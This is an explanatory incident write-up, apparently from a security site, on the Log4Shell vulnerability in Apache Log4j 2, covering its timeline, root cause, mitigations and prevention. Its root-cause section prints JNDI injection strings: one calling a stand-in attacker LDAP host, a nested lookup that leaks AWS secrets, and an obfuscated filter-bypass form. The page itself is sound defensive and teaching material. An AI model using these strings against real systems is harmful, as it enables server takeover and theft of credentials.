Get new incidents by email

One email each time a new incident is published. Nothing else.

All incidents

Log4Shell

Log4Shell: how one logged line of text handed over the server

In December 2021 a flaw in Apache Log4j 2, a logging library inside a huge share of Java software, let anyone who could get a string into a log file run code on the server. It scored the maximum 10.0 and was exploited within hours of going public.

Disclosed
9 December 2021
Type
Exposed app
Identifier
CVE-2021-44228
Read time
9 minutes
  1. Exposed onlineAny Java app using Log4j 2 that logs text from users.
  2. Crafted text gets loggedA header, username or chat message contains ${jndi:…}.
  3. Log4j calls the attacker's serverThe lookup reaches out over LDAP to an address the attacker controls.
  4. Remote code is loadedThe reply points the app at a Java class to load.
  5. Attacker runs commandsCode runs with the application's permissions.

In plain terms

Almost every program keeps a log: a diary of what it did and what users sent it, so developers can fix problems later. Log4j is a free, popular tool that Java programs use to write those logs. It was inside web servers, business software, cloud services, even the game Minecraft.

Log4j had a convenience feature: if a log message contained a special code in the form ${…}, Log4j would replace it with information, such as the computer's name. One of those codes told Log4j to go and fetch information from another computer on the internet.

So an attacker only had to get the right line of text into a log, by typing it into a login box, a chat message or a web request. Log4j would read it, contact the attacker's server, download a piece of code and run it. The attacker now controlled the server.

Because nobody had to log in or click anything, and because Log4j was buried inside so many products that companies didn't know they had it, this became one of the most widespread vulnerabilities ever found. The head of the US cyber agency CISA called it one of the most serious she had seen in her career.

The deep analysis follows: what happened, root cause, mitigation and prevention.

What happened

  1. Chen Zhaojun of Alibaba Cloud's security team privately reports the flaw to the Apache Software Foundation.
  2. Log4j 2.15.0 is released with a fix that restricts lookups.
  3. A proof of concept is published and exploitation spreads within hours. The flaw is tracked as CVE-2021-44228, CVSS 10.0, affecting Log4j 2.0-beta9 to 2.14.1.
  4. 2.16.0 removes message lookups and disables JNDI by default after the 2.15.0 fix proved incomplete in some configurations (CVE-2021-45046).
  5. CISA's Emergency Directive 22-02 orders US federal agencies to find and patch or mitigate Log4j in their systems. 2.17.0 fixes a denial-of-service flaw (CVE-2021-45105).
  6. 2.17.1 fixes CVE-2021-44832, a lower-severity issue requiring control of the logging configuration.

Attacks ranged from mass scanning and cryptocurrency mining to ransomware groups and state-backed actors. The first exploitation seen in the wild was reportedly against Minecraft servers, where a chat message was enough.

Root cause

Lookups were applied to the logged data itself

Log4j 2 supports lookups: ${...} expressions that are expanded when a message is formatted. Lookups are intended for the logging configuration, but before 2.15.0 they were also evaluated inside the message being logged. Any user-controlled string written to a log could therefore trigger them.

One lookup went to the network

The jndi lookup uses the API to resolve a name through a directory service. A message such as

${jndi:ldap://attacker.example/a}

made the application open an outbound connection to an LDAP server chosen by the attacker. The server could reply with a reference to a remote Java class, which the application then downloaded and instantiated: remote code execution.

Defences that only narrowed it

Java releases from 8u191 onward disable remote codebase loading for LDAP by default, which blocked the simplest attack. It didn't make servers safe: attackers could still abuse classes already present on the server (deserialisation gadgets), or use nested lookups such as ${env:AWS_SECRET_ACCESS_KEY} inside the JNDI address to leak secrets through DNS. Simple string filters were bypassed with nested lookups like ${${lower:j}ndi:...}.

Invisible dependency

Log4j was rarely a direct choice. It arrived as a inside frameworks, appliances and vendor products, often bundled inside other JAR files. Many organisations couldn't answer the first question, "where do we run it?", for weeks.

Mitigation

  1. Find every copy. Scan file systems and container images for log4j-core JARs, including JARs nested inside other archives, and ask vendors for statements on their products.
  2. Upgrade to Log4j 2.17.1 or later (2.12.4 for Java 7, 2.3.2 for Java 6). Earlier "fixed" versions were superseded within days.
  3. If you can't upgrade yet, remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. The formatMsgNoLookups setting alone was shown to be insufficient.
  4. Block outbound connections from servers to the internet, especially LDAP, RMI and DNS to unknown resolvers. Exploitation needs the server to call out.
  5. Hunt for compromise from early December 2021: ${jndi: patterns and their obfuscated variants in web and application logs, unexpected outbound LDAP connections, and new processes launched by Java applications.

Prevention

  • Keep a software bill of materials for everything you build and buy, including transitive dependencies, so "are we affected?" takes minutes rather than weeks.
  • Deny outbound traffic by default. Most servers never need to start connections to arbitrary hosts. Egress filtering turned Log4Shell from a takeover into a failed lookup.
  • Treat logs as untrusted input. Logged data should never be interpreted. Libraries should default to the safest behaviour, and features that touch the network should be opt-in.
  • Practise emergency patching. Know who owns each application, how to rebuild and redeploy it quickly, and how to apply a temporary mitigation when a patch isn't ready.
  • Use a WAF as a stopgap only. Web application firewall rules caught early scans, but obfuscated payloads bypassed them. Fix the library.

Sources

Change here for